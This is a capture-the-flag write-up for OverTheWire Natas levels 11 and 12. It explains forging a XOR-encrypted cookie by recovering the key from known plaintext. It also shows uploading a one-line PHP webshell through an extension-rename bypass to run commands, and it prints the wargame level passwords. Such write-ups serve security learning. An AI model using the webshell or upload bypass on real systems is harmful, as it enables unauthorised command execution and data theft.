Post

OverTheWire - Natas (11-20)


[Level 0-10]

Level 10 → 11

Password: 1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg

This level mentions that the “Cookies are protected with XOR encryption” and gives us the ability to customize the background colour. The source code involves five functions:

XOR Encryption Algorithm

  1. The following code line defines the variable defaultdata which is an array of what we are basically see in the homepage, that is, while background and the inability to see the password:

    1
    
     $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
    
  2. The xor_encrypt method, as the name suggests, XOR encrypts an input. The key is censored, so finding this will be our main goal. What it actually does is declaring a predefined key, assigning the input to the text variable, and store the result of the XOR bitwise operation (text ^ key) in the outText variable:

    PHP bitwise operators.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
     function xor_encrypt($in) {
         $key = '<censored>';
         $text = $in;
         $outText = '';
    
         // Iterate through each character
         for($i=0;$i<strlen($text);$i++) {
         $outText .= $text[$i] ^ $key[$i % strlen($key)];
         }
    
         return $outText;
     }
    
  3. The loadData method takes the cookie value, decodes it, and then uses it to set web page values, such as the background color and the visibility of the password. If there is a data array from the browser cookie, its value is base64 decoded, then XOR encrypted, and then JSON decoded. Then the bgcocol is read out of the array and checked against a hex color regex. If the showpassword key exists, it is also copied over to the mydata value:

    XOR encryption is the same with XOR decryption since XOR is reversible with the same mathematical function.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    
     function loadData($def) {
         global $_COOKIE;
         $mydata = $def;
         if(array_key_exists("data", $_COOKIE)) {
         $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
         if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
             if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
             $mydata['showpassword'] = $tempdata['showpassword'];
             $mydata['bgcolor'] = $tempdata['bgcolor'];
             }
         }
         }
         return $mydata;
     }
    
  4. The saveData function base64 encodes, XOR encrypts and JSON encodes the data array and saves it as a cookie in the user’s browser:

    1
    2
    3
    
     function saveData($d) {
         setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
     }
    
  5. The below code lines request from the user to input the bgcolor value:

    1
    2
    3
    4
    5
    
     if(array_key_exists("bgcolor",$_REQUEST)) {
         if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
             $data['bgcolor'] = $_REQUEST['bgcolor'];
         }
     }
    
  6. The last function, saveData is called with the default values loaded in:

    1
    2
    
     $data = loadData($defaultdata);
     saveData($data);
    

We can first find our session’s cookie value via the Inspector tool, which is MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY%3D:

If we visit CyberChef and URL decode our cookie we get the following:

From breaking down the function, we know the the cookie value includes showpassword=no and our goal is to change it to showpassword=yes. Our cookie was generated by setcookie("data", base64_encode(xor_encrypt(json_encode($d))));. The problem is that we don’t do the key for performing the XOR encryption!

We can use a PHP compiler and copy paste some of the functions in order to make our own cookie:

We have the cookie value of eyJzaG93cGFzc3dvcmQiOiJubyIsImJnY29sb3IiOiIjZmZmZmZmIn0=, while the XOR encoded cookie is MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=.

The former is generated with the same exact values as the latter: ` showpassword: no, bgColor: #ffffff`. Because of the associative property of XOR, it does not matter what order we do XOR in, we should get the same answer:

  1. plaintext XOR key = ciphertext
  2. ciphertext XOR key = plaintext
  3. ciphertext XOR plaintext = key

We have both the ciphertext (MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=) and then plaintext (eyJzaG93cGFzc3dvcmQiOiJubyIsImJnY29sb3IiOiIjZmZmZmZmIn0=), so by performing a XOR operation between them we can get the key, and then use it to create a new cookie value and encrypt it:

This gives us the value KNHL as the XOR key. We can confirm this as follows:

Now, we can make a new cookie with the JSON object {"showpassword":"yes","bgcolor":"#ffffff"}, XOR encrypt it, and then base64 encode it:

We can finally change our session cookie and get the password for the next level:

Level 11 → 12

Password: YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG

This time the web server has an option for uploading an image. This level is focused on file upload vulnerabilities and how to bypass an extension change. Our goal is to upload a webshell from which we can execute a command to read the next level’s password. Let’s start by creating the webshell:

1
2
3
4
5
6
7
8
9
10
# create the websehll
$ nano webshell.php
# give execute permissions to the file
$ sudo chmod +x webshell.php
# display the file's contents
$ cat webshell.php
<?php echo system($_GET['command']); ?>
# confirm permissions
$ ls -l webshell.php
-rwxr-xr-x 1 kali kali 40 Jan 17 21:26 webshell.php

Let’s try to upload it:

Our webshell.php was renamed to jsflwp41if.jpg! We don’t care much about the first part, but we need to find a way to keep the .php extension, so we can execute it. We can intercept the POST request when uploading the file to see what it looks like:

Since the extension change happens on our POST request, we can simply manually change it back to .php and then send the request again:

That seemed to have worked! Upon clicking the link, we get some warnings. This is because our webshell expects a command parameter and it is not there yet:

We can now test our webshell by passing any command, such as id, and see if we get back any output:

Since it worked fine, we can now pass a command for reading the next level’s password:

Level 12 → 13

Password: lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9

This post is licensed under CC BY 4.0 by the author.